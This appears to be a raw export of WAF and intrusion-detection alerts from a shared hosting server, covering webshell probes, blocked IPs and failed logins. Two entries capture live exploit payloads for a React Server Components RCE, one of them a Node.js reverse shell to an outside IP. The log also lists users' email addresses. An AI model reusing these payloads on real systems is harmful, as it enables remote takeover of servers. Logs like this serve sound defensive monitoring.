domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=3054 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/keyword/images/home/team.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 14.192.214.140
country_id: 1733045
description:
[2026-01-27 21:12:46 +0800] info [webmaild] 14.192.214.140 - jefflee@sutsb.com.my "POST /cpsess1297457574/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [203.106.96.63] != Current IP Address [14.192.214.140]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 21:13:10 H=([104.37.174.67]) [104.37.174.67]:50333 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <syariza@ajresorts.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77093094
abuser: 193.142.147.209
country_id: 2921044
domain: 42.0.28.25:443
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'193.142.147.209',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/article.php||SC:/home/indfinitydesign/public_html/images/article.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.222.63.91
country_id: 99237
domain: www.tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tschuan.com/sludge-thick.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.51.223.130
country_id: 1269750
description:
Jan 27 21:17:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.51.223.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 132.255.156.231
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=448567 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.208.68.128
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=2108 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.246.88.3
country_id: 272103
description:
Jan 27 21:21:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.246.88.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.246.88.3
country_id: 272103
description:
2026-01-27 21:21:14 dovecot_plain authenticator failed for H=(56QUULLY) [194.246.88.3]:28359: 535 Incorrect authentication data (set_id=ratanam@maalloys.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.149.130
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=1983 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 27.73.91.178
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-23.27.73.91.178||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.184.34
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?id=30&sub=83 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.86.123.201
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=8842 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 57.159.30.22
country_id: 1269750
domain: 42.0.28.70
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.230.11.165
country_id: 2661886
description:
Jan 27 21:27:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.230.11.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.230.11.165
country_id: 2661886
description:
Jan 27 21:28:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.230.11.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.241
country_id: 3469034
description:
Jan 27 21:28:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.223
country_id: 2510769
description:
Jan 27 21:29:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 21:29:32 H=([104.37.174.67]) [104.37.174.67]:52228 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <u-net@u-net.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.245.96.236
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-33.171.245.96.236||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.38.187.112
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 158.94.211.102
country_id: 6252001
description:
Jan 27 21:39:26 sv3 pure-ftpd[2953792]: (?@158.94.211.102) [INFO] New connection from 158.94.211.102


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.117.175
country_id: 798544
description:
Jan 27 21:41:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.117.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.117.175
country_id: 798544
description:
Jan 27 21:42:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.117.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 21:44:10 H=([104.37.174.67]) [104.37.174.67]:53854 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <wmchan@nexuscollection.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.150.80
country_id: 99237
description:
Jan 27 21:45:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.150.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.243.5
country_id: 3469034
description:
Jan 27 21:51:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.243.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.243.5
country_id: 3469034
description:
Jan 27 21:52:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.243.5 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 117.0.181.24
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-54.117.0.181.24||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.194
country_id: 3175395
description:
Jan 27 21:54:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.194 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.189.53.202
country_id: 2921044
description:
2026-01-27 22:00:00 834475 [Warning] Aborted connection 834475 to db: 'unconnected' user: 'unauthenticated' host: '206.189.53.202' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.224.201.77
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-00.171.224.201.77||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-27 22:04:26 +0800] info [webmaild] 60.50.199.9 - horizon@tst-ma.com "POST /cpsess7524580043/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-27 22:05:26 +0800] info [webmaild] 60.50.199.9 - horizon@tst-ma.com "POST /cpsess7524580043/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-27 22:06:07 +0800] info [webmaild] 60.50.199.9 - horizon@tst-ma.com "GET /cpsess7524580043/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1769522767478&_=1769475289435 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-27 22:07:08 +0800] info [webmaild] 60.50.199.9 - horizon@tst-ma.com "POST /cpsess2179679453/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.186.142
country_id: 1562822
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/our-brand HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-27 22:08:09 +0800] info [webmaild] 60.50.199.9 - horizon@tst-ma.com "POST /cpsess2179679453/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/languages/images/iso.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-27 22:09:09 +0800] info [webmaild] 60.50.199.9 - horizon@tst-ma.com "POST /cpsess2179679453/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.107.76
country_id: 3865483
description:
Jan 27 22:12:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.107.76 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-27 22:13:03 H=(localhost.localdomain) [78.153.140.207]:35110 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.107.76
country_id: 3865483
description:
Jan 27 22:13:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.107.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.23
country_id: 3469034
description:
Jan 27 22:16:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 22:16:28 H=([45.144.212.242]) [45.144.212.242]:60435 F=<no_reply@admin.com> rejected RCPT <inquiries@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.253.0.7
country_id: 953987
description:
2026-01-27 22:21:40 H=([102.254.0.12]) [102.253.0.7]:26708 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@oxbold.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.117.160.233
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/yaml/Tests/Fixtures/YtsNullsAndEmpties.yml HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 22:28:05 H=([45.144.212.242]) [45.144.212.242]:61770 F=<no_reply@admin.com> rejected RCPT <julie@nobledec.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.195
country_id: 3469034
description:
Jan 27 22:28:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-27 22:29:53 H=(localhost.localdomain) [78.153.140.207]:43048 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 22:30:05 H=([45.144.212.242]) [45.144.212.242]:54159 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-27 22:30:41 H=(localhost.localdomain) [78.153.140.207]:56206 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 141.95.54.132
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/demos/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.42.86
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-33.171.236.42.86||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.115.93.59
country_id: 2542007
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Examples/templates/32readwriteColumnPercentageChart1.xlsx HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.142.79.87
country_id: 2658434
description:
2026-01-27 22:35:31 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [79.142.79.87]:1501: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 142.93.211.177
country_id: 1269750
description:
2026-01-27 22:38:31 836035 [Warning] Aborted connection 836035 to db: 'unconnected' user: 'unauthenticated' host: '142.93.211.177' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.108.92.247
country_id: 1168579
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/jakub-onderka/php-console-highlighter/tests HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.73.161.35
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/jakub-onderka/php-console-highlighter/tests/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.204.11.44
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=55291515046355 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.216.188
country_id: 1562822
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/clientele.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 223.207.227.187
country_id: 1605651
description:
2026-01-27 22:44:43 836238 [Warning] Aborted connection 836238 to db: 'unconnected' user: 'unauthenticated' host: '223.207.227.187' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 44.244.32.34
country_id: 6252001
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/re.php||SC:/home2/fkrcom/public_html/img/re.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.0.122.69
country_id: 3469034
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/product-detail.php?id=227861 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.170.79
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-46.171.236.170.79||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.138
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/fonts/Flaticon.woff2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.179
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/style.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.219
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/rsmenu-main.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.229
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/responsive.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.162
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/fonts/flaticon.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.169
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/off-canvas.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.209
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/magnific-popup.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.188
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/font-awesome.min.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.242.102
country_id: 1269750
description:
Jan 27 22:47:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.242.102 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.226
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/animate.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.240
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/bootstrap.min.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/owl.carousel.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.133
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/rs-spacing.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.53.194.17
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/foot/422/422532 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-27 22:51:02 H=([62.60.130.227]) [62.60.130.227]:55288 F=<9492792029@vtext.com> rejected RCPT <prayerlink@agpc.org.my>: SPF: 62.60.130.227 is not allowed to send mail from vtext.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
